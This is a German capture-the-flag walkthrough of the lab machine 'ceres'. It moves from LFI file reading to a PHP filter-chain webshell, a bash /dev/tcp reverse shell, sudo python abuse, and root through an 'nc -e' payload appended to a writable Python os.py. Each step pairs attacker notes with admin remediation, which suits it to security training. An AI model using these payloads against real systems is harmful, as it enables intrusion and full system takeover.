"etc/ldap/ldap.conf" 000000964: 200 2 L 2 W 34 Ch "etc/ld.so.conf" 000000967: 200 131 L 715 W 5174 Ch "etc/manpath.config" 000000962: 200 6 L 22 W 144 Ch "etc/kernel-img.conf" 000000961: 200 142 L 854 W 5060 Ch "etc/hdparm.conf" 000000954: 200 83 L 485 W 2969 Ch "etc/debconf.conf" 000000948: 200 20 L 99 W 604 Ch "etc/deluser.conf" 000000950: 200 148 L 211 W 5985 Ch "etc/ca-certificates.conf" 000000944: 200 11 L 70 W 419 Ch "etc/security/sepermit.conf" 000000943: 200 73 L 499 W 2972 Ch "etc/security/pam_env.conf" 000000939: 200 122 L 746 W 4564 Ch "etc/security/access.conf" 000000947: 200 85 L 461 W 2981 Ch "etc/adduser.conf" 000000946: 200 121 L 394 W 3250 Ch "etc/ssh/sshd_config" 000000942: 200 28 L 217 W 1440 Ch "etc/security/namespace.conf" 000000940: 200 106 L 663 W 3635 Ch "etc/security/group.conf" 000000945: 200 65 L 412 W 2179 Ch "etc/security/time.conf" 000000977: 200 4 L 6 W 60 Ch "etc/networks" 000000979: 200 5 L 36 W 195 Ch "etc/modules" 000000996: 200 10 L 57 W 411 Ch "etc/hosts.allow" Total time: 1.849666 Processed Requests: 2894 Filtered Requests: 2805 Requests/sec.: 1564.606 Fuzzing nach Local-File-Inclusion Ende
Analyse: Wfuzz wird nun verwendet, um gezielt nach lesbaren Dateien über die LFI zu suchen. Es nutzt die LFI-URL und ersetzt `FUZZ` durch Einträge aus der Wortliste `/usr/share/wordlists/logfiles.txt` (enthält Pfade zu üblichen Log- und Konfigurationsdateien). `--hh 0` blendet leere Antworten aus. Der Scan ist sehr erfolgreich und findet eine große Anzahl lesbarer System- und Konfigurationsdateien.
Bewertung: Dies demonstriert eindrucksvoll die Gefahr der LFI. Viele sensible Konfigurationsdateien (Apache, SSH, PAM, Netzwerkeinstellungen etc.) und Systeminformationen (`/proc/...`) sind lesbar. Dies liefert eine Fülle von Informationen für den Angreifer.
Empfehlung (Pentester): Analysieren Sie die interessantesten gefundenen Dateien (z.B. `sshd_config`, `apache2.conf`, `bash.bashrc`) auf weitere Hinweise, Passwörter oder Fehlkonfigurationen.
Empfehlung (Admin): Beheben Sie die LFI sofort! Beschränken Sie die Leserechte des `www-data`-Benutzers auf das absolute Minimum.
Analyse: In diesem Abschnitt wird versucht, mithilfe der LFI-Schwachstelle RCE zu erlangen, um eine Shell zu bekommen. Zuerst werden weitere interessante Dateien wie `/etc/crontab`, `/etc/hosts` und `/proc/self/mounts` ausgelesen, um das System besser zu verstehen.
Bewertung: Standard-Enumerationsschritte nach Bestätigung einer LFI. Crontab zeigt keine benutzerdefinierten Jobs. Hosts bestätigt den Hostnamen 'ceres'. Mounts zeigt die gemounteten Dateisysteme.
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .- minute (0 - 59) # | .- hour (0 - 23) # | | .- day of month (1 - 31) # | | | .- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
127.0.0.1 localhost 127.0.1.1 ceres # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
/dev/sda1 / ext4 rw,relatime,errors=remount-ro 0 0 udev /dev devtmpfs rw,nosuid,relatime,size=490660k,nr_inodes=122665,mode=755 0 0 devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0 tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0 hugetlbfs /dev/hugepages hugetlbfs rw,relatime,pagesize=2M 0 0 mqueue /dev/mqueue mqueue rw,relatime 0 0 tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=101108k,mode=755 0 0 tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0 sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0 securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0 tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,mode=755 0 0 cgroup2 /sys/fs/cgroup/unified cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate 0 0 cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0 cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0 cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0 cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0 cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0 cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0 cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0 cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0 cgroup /sys/fs/cgroup/rdma cgroup rw,nosuid,nodev,noexec,relatime,rdma 0 0 cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0 cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0 pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0 bpf /sys/fs/bpf bpf rw,nosuid,nodev,noexec,relatime,mode=700 0 0 debugfs /sys/kernel/debug debugfs rw,relatime 0 0 proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=29,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=10126 0 0 /dev/sda1 /tmp ext4 rw,relatime,errors=remount-ro 0 0 /dev/sda1 /var/tmp ext4 rw,relatime,errors=remount-ro 0 0
Analyse: Es wird versucht, SSH-Schlüsseldateien (`id_rsa.pub`, `authorized_keys`, `id_rsa`) aus dem Home-Verzeichnis des Benutzers `giuseppe` zu lesen. Die Versuche mit relativen Pfaden und `file:///`-Wrapper scheitern, da keine Ausgabe erfolgt.
Bewertung: Entweder existieren die Dateien nicht, oder der `www-data`-Benutzer hat keine Leseberechtigung für das `.ssh`-Verzeichnis oder die Dateien darin. Letzteres ist wahrscheinlich und entspricht der Standardkonfiguration.
Empfehlung (Pentester): Da das Lesen der SSH-Schlüssel nicht funktioniert, konzentrieren Sie sich auf RCE über die LFI, um eine Shell zu erlangen.
Empfehlung (Admin): Stellen Sie sicher, dass `.ssh`-Verzeichnisse und Schlüsseldateien restriktive Berechtigungen haben (700 für Verzeichnis, 600 für Dateien).
Analyse: Es wird das Tool `php_filter_chain_generator.py` verwendet, um eine PHP-Filterkette zu erzeugen, die die Webshell `` ausführt. Dies ist die gleiche Technik wie bei der Maschine "Chain".
Bewertung: Vorbereitung zur Ausnutzung der LFI für RCE.
insgesamt 28 -rwxr-xr-x 1 root root 8765 24. Aug 00:11 php_filter_chain_generator.py -rw-r--r-- 1 root root 12534 24. Aug 00:11 README.md
[+] The following gadget chain will generate the following code : (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+) <-- $GET im Kommentar bleibt hier $_GET, da es Teil der Tool-Ausgabe ist php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode/..../resource=php://temp <-- Fehler im Originaltext, 'base64-encode' abgeschnitten
Analyse: Die generierte Filterkette wird in einer URL verwendet, um den Befehl `id` auszuführen. Die Ausgabe `uid=33(www-data)...` bestätigt die erfolgreiche RCE.
Bewertung: RCE als `www-data` erfolgreich etabliert.
view-source:http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|..../resource=php://temp&cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$?)C? @ C???????
Analyse: Eine Reverse-Shell-Payload (`bash -i >& /dev/tcp/192.168.2.199/4444 0>&1`) wird URL-kodiert und als `cmd`-Parameter an die RCE-URL angehängt. Gleichzeitig wird ein Netcat-Listener auf Port 4444 auf dem Angreifer-System gestartet.
Bewertung: Standardverfahren, um eine interaktive Shell zu erhalten.
listening on [any] 4444 ...
view-source:http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=php://filter/convert.iconv.UTF8.CSIS2022KR|.../resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.128] 59770
bash: cannot set terminal process group (440): Inappropriate ioctl for device
bash: no job control in this shell
Analyse: Der Netcat-Listener empfängt die eingehende Verbindung vom Zielsystem. Eine interaktive Shell als `www-data` im Verzeichnis `/var/www/html/My_H1dd3n_S3cr3t` wird etabliert. Die Meldungen "cannot set terminal..." und "no job control..." sind typisch für einfache Reverse Shells.
Bewertung: Initial Access erfolgreich! Eine Shell als `www-data` wurde erlangt.
Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit Python pty). Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): Beheben Sie die LFI/RCE. Überwachen Sie ausgehende Verbindungen und verdächtige Prozesse.
total 220 drwxr-xr-x 3 www-data www-data 4096 May 3 2023 . drwxr-xr-x 3 www-data www-data 4096 Mar 6 2021 .. drwxr-xr-x 2 www-data www-data 4096 May 3 2023 My_H1dd3n_S3cr3t -rw-r--r-- 1 www-data www-data 44 Mar 7 2021 file.php -rw-r--r-- 1 www-data www-data 195951 May 16 2020 image.jpg -rw-r--r-- 1 www-data www-data 80 Mar 6 2021 index.html -rw-r--r-- 1 www-data www-data 65 Mar 7 2021 secret.php -rw-r--r-- 1 www-data www-data 104 Mar 7 2021 style.css
Analyse: Auflistung des Inhalts von `/var/www/html`. Zeigt das Verzeichnis `/My_H1dd3n_S3cr3t` sowie die zuvor gefundenen PHP-Dateien und `image.jpg`.
Bewertung: Bestätigt die Dateistruktur im Web-Root.
. .. id important.py
Analyse: Wechsel in das Verzeichnis `/opt` und Auflistung des Inhalts. Es finden sich eine Datei `id` und ein Python-Skript `important.py`.
Bewertung: `/opt` wird oft für zusätzliche Software oder Skripte verwendet. Das Skript `important.py` ist ein interessanter Fund.
Empfehlung (Pentester): Untersuchen Sie den Inhalt und die Berechtigungen von `important.py`.
Empfehlung (Admin): Überprüfen Sie regelmäßig den Inhalt von `/opt` und stellen Sie sicher, dass nur autorisierte Software/Skripte vorhanden sind.
#!/usr/bin/python import os os.system('/usr/bin/id > /opt/id') os.system('/usr/bin/sleep 15') os.system('/usr/bin/rm /opt/id') os.system('/usr/bin/sleep 15')
-rwxr----- 1 root giuseppe 160 May 3 2023 important.py <-- Berechtigungen korrigiert (rwxr----- statt rwxr--)
Analyse: Das Skript `important.py` wird angezeigt. Es importiert das `os`-Modul, führt den Befehl `id` aus und schreibt die Ausgabe nach `/opt/id`, wartet 15 Sekunden, löscht `/opt/id` und wartet erneut. Die Berechtigungen (`-rwxr-----`) zeigen, dass `root` der Besitzer ist und die Gruppe `giuseppe` Lese- und Ausführrechte hat. `www-data` hat keine Rechte.
Bewertung: Das Skript selbst ist relativ harmlos, aber die Tatsache, dass es `os.system` verwendet und das `os`-Modul importiert, ist entscheidend, insbesondere im Zusammenhang mit späteren Funden (schreibbare `os.py`-Datei). Die Gruppenzugehörigkeit `giuseppe` ist ebenfalls ein wichtiger Hinweis.
Empfehlung (Pentester): Merken Sie sich dieses Skript und die Tatsache, dass es das `os`-Modul importiert. Überprüfen Sie, ob dieses Skript regelmäßig ausgeführt wird (z.B. per Cronjob - obwohl die Crontab zuvor leer aussah).
Empfehlung (Admin): Vermeiden Sie die Verwendung von `os.system`, wenn möglich. Verwenden Sie stattdessen sicherere Module wie `subprocess`. Stellen Sie sicher, dass die Berechtigungen für Skripte korrekt und restriktiv sind.
Matching Defaults entries for www-data on ceres:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on ceres:
(giuseppe) NOPASSWD: /usr/bin/python
Analyse: `sudo -l` für `www-data` zeigt, dass dieser Benutzer `/usr/bin/python` als Benutzer `giuseppe` ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Kritischer Fund! Dies ist eine direkte Möglichkeit zur horizontalen Rechteausweitung von `www-data` zum Benutzer `giuseppe`. Die Ausführung von `python` als ein anderer Benutzer erlaubt in der Regel das Starten einer Shell als dieser Benutzer.
Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel, um eine Shell als `giuseppe` zu erhalten, z.B. mit `sudo -u giuseppe /usr/bin/python -c "import pty; pty.spawn('/bin/bash')"`.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel dringend. Gewähren Sie `www-data` keine Rechte, Programme als andere Benutzer auszuführen, es sei denn, dies ist absolut notwendig und sicher implementiert.
uid=1000(giuseppe) gid=1000(giuseppe) groups=1000(giuseppe)
Analyse: Die `sudo`-Regel wird ausgenutzt. `sudo -u giuseppe /usr/bin/python` wird aufgerufen, um Python-Code (`-c "..."`) als `giuseppe` auszuführen. Der Code `import pty; pty.spawn('/bin/bash')` startet eine interaktive Bash-Shell. Der `id`-Befehl bestätigt, dass der Benutzer nun `giuseppe` ist.
Bewertung: Horizontale Rechteausweitung erfolgreich abgeschlossen. Der Angreifer agiert nun als Benutzer `giuseppe`.
Empfehlung (Pentester): Führen Sie die Enumeration als `giuseppe` durch (Home-Verzeichnis, `sudo -l`, SUID/GUID, Capabilities, Cronjobs, etc.). Suchen Sie die User-Flag.
Empfehlung (Admin): Beheben Sie die unsichere `sudo`-Regel.
Analyse: Standard-Enumerationsschritte als Benutzer `giuseppe`: Suche nach SUID-Dateien, Prüfung der `/etc/passwd`-Berechtigungen, Auflistung offener TCP-Ports (`ss -altpn`), Suche nach Capabilities.
Bewertung: Die SUID-Suche findet eine ungewöhnliche Datei: `/usr/lib/eject/dmcrypt-get-device`. Die anderen SUID-Dateien sind Standard. `/etc/passwd` ist normal lesbar. `ss` zeigt nur die erwarteten Listener für SSH (22) und HTTP (80). `getcap` findet nur `ping`.
Empfehlung (Pentester): Recherchieren Sie die SUID-Datei `/usr/lib/eject/dmcrypt-get-device` auf bekannte Schwachstellen. Prüfen Sie `sudo -l` für `giuseppe`.
Empfehlung (Admin): Überprüfen Sie den Zweck und die Notwendigkeit des SUID-Bits auf `/usr/lib/eject/dmcrypt-get-device`. Entfernen Sie es, wenn nicht benötigt.
262183 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 262186 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 265713 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 262182 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 283329 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 266038 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 266040 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 265566 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 262185 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 278286 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 274903 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 2673 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device <-- Ungewöhnlich!
-rw-r--r-- 1 root root 1404 Mar 6 2021 /etc/passwd
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 128 *:80 *:* LISTEN 0 128 [::]:22 [::]:*
/usr/bin/ping = cap_net_raw+ep
bash: /opt/important.py: Permission denied
Analyse: Es wird versucht, die Datei `/opt/important.py` zu überschreiben. Dies schlägt fehl ("Permission denied").
Bewertung: Bestätigt, dass `giuseppe` keine Schreibrechte auf das Skript hat, obwohl er Leserechte hat (aufgrund der Gruppenzugehörigkeit und der Dateiberechtigungen `rwxr-----`).
/home/giuseppe /home/giuseppe/.profile /home/giuseppe/.local /home/giuseppe/.local/share /home/giuseppe/.local/share/nano /home/giuseppe/.bashrc /home/giuseppe/.bash_history /home/giuseppe/.bash_logout /tmp /usr/lib/python2.7/os.py <-- Kritisch! /var/log/apache2 /var/log/apache2/access.log /var/lib/php/sessions /var/lock /var/tmp
Analyse: `find / -writable 2>/dev/null` sucht nach Dateien und Verzeichnissen, auf die der aktuelle Benutzer (`giuseppe`) Schreibzugriff hat. Die Ausgabe wird gefiltert, um uninteressante virtuelle Dateisysteme auszuschließen. Neben den erwarteten Dateien im Home-Verzeichnis und temporären Verzeichnissen findet sich ein höchst ungewöhnlicher Eintrag: `/usr/lib/python2.7/os.py`. Dies ist die Standard-Python-Bibliothek für das `os`-Modul, die normalerweise nur für `root` schreibbar sein sollte.
Bewertung: Dies ist der Schlüssel zur Root-Privilege-Escalation! Da `giuseppe` diese zentrale Python-Bibliothek ändern kann und das Skript `/opt/important.py` (das wahrscheinlich von `root` ausgeführt wird) dieses `os`-Modul importiert, kann `giuseppe` Code in `os.py` einschleusen, der dann als `root` ausgeführt wird, wenn `/opt/important.py` das nächste Mal läuft. Dies ist ein klassischer Fall von PATH-Hijacking bzw. Modul-Manipulation.
Empfehlung (Pentester): Fügen Sie bösartigen Code (z.B. eine Reverse Shell oder einen Befehl zum Hinzufügen eines Sudo-Eintrags) am Anfang der Datei `/usr/lib/python2.7/os.py` hinzu. Warten Sie, bis `/opt/important.py` ausgeführt wird (oder finden Sie heraus, wie es getriggert wird), und fangen Sie die Root-Shell ab.
Empfehlung (Admin): Korrigieren Sie sofort die falschen Berechtigungen für `/usr/lib/python2.7/os.py`! Diese Datei sollte niemals für normale Benutzer schreibbar sein. Überprüfen Sie die Berechtigungen aller Systembibliotheken.
16461eb65ce11cbabbe32cf1cf35a4f5
Analyse: Die User-Flag wird aus `~/user.txt` gelesen.
Bewertung: User-Flag erfolgreich erhalten.
Analyse: Der folgende Abschnitt demonstriert die Privilege Escalation zu `root` durch Ausnutzung der unsicheren Schreibberechtigungen auf der Python-Standardbibliothek `/usr/lib/python2.7/os.py`. Der Benutzer `giuseppe` kann diese Datei ändern. Ein anderes Skript, `/opt/important.py`, das vermutlich regelmäßig von `root` ausgeführt wird (z.B. über einen nicht direkt sichtbaren Cronjob oder einen anderen Mechanismus), importiert das `os`-Modul. Indem `giuseppe` bösartigen Code (eine Reverse Shell Payload) an den Anfang von `/usr/lib/python2.7/os.py` hängt, wird dieser Code ausgeführt, wenn `root` das Skript `/opt/important.py` startet und das manipulierte `os`-Modul importiert.
Bewertung: Dies ist ein effektiver Weg zur Root-Eskalation, der auf einer kritischen Fehlkonfiguration der Dateiberechtigungen basiert. Der Angreifer muss lediglich den Payload in die Bibliotheksdatei schreiben und warten, bis das privilegierte Skript ausgeführt wird.
Empfehlung (Pentester): Implementieren Sie den Payload, starten Sie einen Listener und warten Sie auf die eingehende Root-Shell.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen von `/usr/lib/python2.7/os.py` und anderen Systembibliotheken dringend. Überprüfen Sie, welches Skript (`/opt/important.py`) von `root` ausgeführt wird und warum.
Analyse: Die folgenden Schritte im Log zeigen, wie der Angreifer einen SSH-Zugang als `giuseppe` einrichtet, um bequemer arbeiten zu können, bevor der eigentliche Root-Exploit durchgeführt wird. Ein öffentlicher SSH-Schlüssel wird auf dem Angreifer-System bereitgestellt und dann von `giuseppe` mittels `wget` in die Datei `~/.ssh/authorized_keys` auf dem Zielsystem heruntergeladen. Anschließend verbindet sich der Angreifer per SSH.
Bewertung: Dies ist kein direkter Schritt zur Eskalation, sondern dient der Bequemlichkeit und Stabilität der Verbindung. Es zeigt, dass `giuseppe` Schreibrechte in seinem Home-Verzeichnis und `.ssh`-Verzeichnis hat.
Empfehlung (Pentester): Richten Sie nach Möglichkeit einen SSH-Zugang ein, wenn Sie einen Benutzer-Account kompromittiert haben, da SSH-Shells stabiler sind als einfache Reverse Shells.
Empfehlung (Admin): Überwachen Sie SSH-Logins und die Inhalte von `authorized_keys`-Dateien.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.128 - - [13/Sep/2024 00:46:42] "GET /authorized_keys HTTP/1.1" 200 -
--2024-09-13 00:46:47-- http://192.168.2.199/authorized_keys
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 91 [application/octet-stream]
Saving to: ‘authorized_keys’
authorized_keys 100%[===================>] 91 --.-KB/s in 0s
2024-09-13 00:46:47 (28.1 MB/s) - ‘authorized_keys’ saved [91/91]
The authenticity of host 'ceres.nyx (192.168.2.128)' can't be established.
ED25519 key fingerprint is SHA256:iAPFUjbWa9K78DseSEmi+vxWt8Bw5VXcHiAGlZByuLQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ceres.nyx' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': <-- Passphrase für den lokalen Key des Angreifers
Linux ceres 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
Last login: Wed May 3 21:46:34 2023 from 192.168.1.10
Analyse: Nun wird der eigentliche Exploit durchgeführt. Über die SSH-Verbindung als `giuseppe` wird der Reverse-Shell-Payload an die Datei `/usr/lib/python2.7/os.py` angehängt. Es wird eine einfache `nc`-basierte Payload verwendet.
Bewertung: Der Payload wird erfolgreich in die kritische Bibliotheksdatei geschrieben.
# ... (Originaler Inhalt von os.py) ... import subprocess;subprocess.call(['nc', '-e','/bin/bash','192.168.2.199','9001'], shell=False) import subprocess;subprocess.call(['nc', '-e','/bin/bash','192.168.2.199','9001'], shell=False) <-- Payload wurde doppelt angehängt?
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port 9001 gestartet, um die eingehende Root-Shell zu empfangen. Nach kurzer Zeit (vermutlich als das Skript `/opt/important.py` von root ausgeführt wurde) kommt die Verbindung an. Der `id`-Befehl bestätigt `uid=0(root)`.
Bewertung: Erfolg! Die Manipulation der Python-Bibliothek hat funktioniert und eine Root-Shell wurde erlangt.
Empfehlung (Pentester): Root-Zugriff ist erreicht. Suchen Sie die Root-Flag und bereinigen Sie ggf. die manipulierte `os.py`-Datei (obwohl in einem CTF oft nicht nötig).
Empfehlung (Admin): System kompromittiert. Forensische Analyse, Behebung der Berechtigungsfehler, Neuinstallation erwägen.
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.128] 56090
uid=0(root) gid=0(root) groups=0(root)
root.txt
fb41c2cb45f8b4ee387fabac849d6449
Analyse: In der Root-Shell wird das Root-Verzeichnis aufgelistet und die Root-Flag aus `root.txt` ausgelesen.
Bewertung: Root-Flag erfolgreich erhalten.